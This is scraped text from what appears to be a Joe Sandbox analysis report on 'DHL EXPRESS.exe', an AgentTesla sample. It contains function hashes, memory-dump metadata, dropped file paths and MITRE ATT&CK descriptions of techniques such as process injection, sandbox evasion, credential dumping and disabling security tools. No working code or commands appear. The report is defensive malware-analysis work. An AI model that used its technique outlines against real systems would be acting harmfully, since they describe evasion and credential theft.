Instruction Fuzzy Hash: 075239B5523B0ACFE710CF18E88A1997FB6FB41325B924609E1615B2D0DBB4A4C6CF74

Uniqueness

Uniqueness Score: -1.00%

Function 068972F0 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a19e726176de50d6fffa6c1aa9476306407b483016eec4e0c1421143a952e015
Instruction ID: 1ba3637967e88508131975a62ce9c46fcb798dbf413f2999f34e73d549849e9d
Opcode Fuzzy Hash: a19e726176de50d6fffa6c1aa9476306407b483016eec4e0c1421143a952e015
Instruction Fuzzy Hash: 91121A30A10219CFDF68DB65D854BAEB7B2FF88301F2485A9D50AEB254DB319D85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06895937 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e68e15c83ac547fc65c768bfe57ee6906c160e9d66d3c9e65e7b5c12fd2fb18d
Instruction ID: e25c2df05bf572a1ba08acea0eef3cc3fd38c82c3c68642cfd2b063828f74a19
Opcode Fuzzy Hash: e68e15c83ac547fc65c768bfe57ee6906c160e9d66d3c9e65e7b5c12fd2fb18d
Instruction Fuzzy Hash: 55D12531B101188FDF65DB68D494A6DB7F1FF89320F28846AE64ADB351CA31DC45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0687AAE8 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643446578.0000000006870000.00000040.00000800.00020000.00000000.sdmp, Offset: 06870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6870000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb3a607ee30602ee38fbe94c91bc6735871f7ca4534b66ce9190f978dfeb344
Instruction ID: ed6204bb17b12de9a89f1bfc17d59515f5ebc12005a65c375c477e84cf121571
Opcode Fuzzy Hash: 9fb3a607ee30602ee38fbe94c91bc6735871f7ca4534b66ce9190f978dfeb344
Instruction Fuzzy Hash: 38A14B32E10609CFCF49DFB4C8845AEB7B3BF85300B15856AE915EB261DB71E946CB80

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL EXPRESS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjzq2aud.lfh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fawb1niz.33e.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ss11g4yp.zug.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wqqlv4zx.1j4.psm1

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
DHL EXPRESS.exe

Function 068951F0 Relevance: 1.8, Strings: 1, Instructions: 591
COMMON

Function 02E3EA90 Relevance: 1.6, Strings: 1, Instructions: 394
COMMON

Function 02E37ED0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 06873893 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Function 06873898 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 0687BC98 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Function 0687E210 Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Function 0687E23F Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Function 0687E290 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 06CC0C70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Function 02E3F453 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre